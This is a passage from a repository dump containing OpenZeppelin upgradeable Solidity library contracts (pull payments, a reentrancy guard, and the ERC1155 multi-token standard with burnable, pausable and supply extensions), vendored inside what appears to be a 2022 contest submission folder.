*
* Pull-payments are often considered the best practice when it comes to sending
* Ether, security-wise. It prevents recipients from blocking execution, and
* eliminates reentrancy concerns.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* To use, derive from the `PullPayment` contract, and use {_asyncTransfer}
* instead of Solidity's `transfer` function. Payees can query their due
* payments with {payments}, and retrieve them with {withdrawPayments}.
*/
abstract contract PullPaymentUpgradeable is Initializable {
EscrowUpgradeable private _escrow;
function __PullPayment_init() internal onlyInitializing {
__PullPayment_init_unchained();
}
function __PullPayment_init_unchained() internal onlyInitializing {
_escrow = new EscrowUpgradeable();
_escrow.initialize();
}
/**
* @dev Withdraw accumulated payments, forwarding all gas to the recipient.
*
* Note that _any_ account can call this function, not just the `payee`.
* This means that contracts unaware of the `PullPayment` protocol can still
* receive funds this way, by having a separate account call
* {withdrawPayments}.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee Whose payments will be withdrawn.
*/
function withdrawPayments(address payable payee) public virtual {
_escrow.withdraw(payee);
}
/**
* @dev Returns the payments owed to an address.
* @param dest The creditor's address.
*/
function payments(address dest) public view returns (uint256) {
return _escrow.depositsOf(dest);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* Funds sent in this way are stored in an intermediate {Escrow} contract, so
* there is no danger of them being spent before withdrawal.
*
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function _asyncTransfer(address dest, uint256 amount) internal virtual {
_escrow.deposit{value: amount}(dest);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/README.adoc
================================================
= Security
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/security
These contracts aim to cover common security practices.
* {PullPayment}: A pattern that can be used to avoid reentrancy attacks.
* {ReentrancyGuard}: A modifier that can prevent reentrancy during certain functions.
* {Pausable}: A common emergency response mechanism that can pause functionality while a remediation is pending.
TIP: For an overview on reentrancy and the possible mechanisms to prevent it, read our article https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
== Contracts
{{PullPayment}}
{{ReentrancyGuard}}
{{Pausable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/ERC1155Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155Upgradeable.sol";
import "./IERC1155ReceiverUpgradeable.sol";
import "./extensions/IERC1155MetadataURIUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {
using AddressUpgradeable for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
function __ERC1155_init(string memory uri_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri_);
}
function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC1155Upgradeable).interfaceId ||
interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
uint256[47] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/IERC1155ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/IERC1155Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/README.adoc
================================================
= ERC 1155
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc1155
This set of interfaces and contracts are all related to the https://eips.ethereum.org/EIPS/eip-1155[ERC1155 Multi Token Standard].
The EIP consists of three interfaces which fulfill different roles, found here as {IERC1155}, {IERC1155MetadataURI} and {IERC1155Receiver}.
{ERC1155} implements the mandatory {IERC1155} interface, as well as the optional extension {IERC1155MetadataURI}, by relying on the substitution mechanism to use the same URI for all token types, dramatically reducing gas costs.
Additionally there are multiple custom extensions, including:
* designation of addresses that can pause token transfers for all users ({ERC1155Pausable}).
* destruction of own tokens ({ERC1155Burnable}).
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC1155 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc1155.adoc#Presets[ERC1155 Presets] (such as {ERC1155PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC1155}}
{{IERC1155MetadataURI}}
{{ERC1155}}
{{IERC1155Receiver}}
== Extensions
{{ERC1155Pausable}}
{{ERC1155Burnable}}
{{ERC1155Supply}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC1155PresetMinterPauser}}
== Utilities
{{ERC1155Holder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC1155Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable {
function __ERC1155Burnable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155Burnable_init_unchained();
}
function __ERC1155Burnable_init_unchained() internal onlyInitializing {
}
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155PausableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC1155Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC1155 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* _Available since v3.1._
*/
abstract contract ERC1155PausableUpgradeable is Initializable, ERC1155Upgradeable, PausableUpgradeable {
function __ERC1155Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__Pausable_init_unchained();
__ERC1155Pausable_init_unchained();
}
function __ERC1155Pausable_init_unchained() internal onlyInitializing {
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)
pragma solidity ^0.8.0;
import "../ERC1155Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155SupplyUpgradeable is Initializable, ERC1155Upgradeable {
function __ERC1155Supply_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155Supply_init_unchained();
}
function __ERC1155Supply_init_unchained() internal onlyInitializing {
}
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates whether any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155SupplyUpgradeable.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
if (from == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
if (to == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] -= amounts[i];
}
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/extensions/IERC1155MetadataURIUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155Upgradeable.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC1155Upgradeable.sol";
import "../extensions/ERC1155BurnableUpgradeable.sol";
import "../extensions/ERC1155PausableUpgradeable.sol";
import "../../../access/AccessControlEnumerableUpgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC1155PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable {
function initialize(string memory uri) public virtual initializer {
__ERC1155PresetMinterPauser_init(uri);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that
* deploys the contract.
*/
function __ERC1155PresetMinterPauser_init(string memory uri) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC1155_init_unchained(uri);
__ERC1155Burnable_init_unchained();
__Pausable_init_unchained();
__ERC1155Pausable_init_unchained();
__ERC1155PresetMinterPauser_init_unchained(uri);
}
function __ERC1155PresetMinterPauser_init_unchained(string memory uri) internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
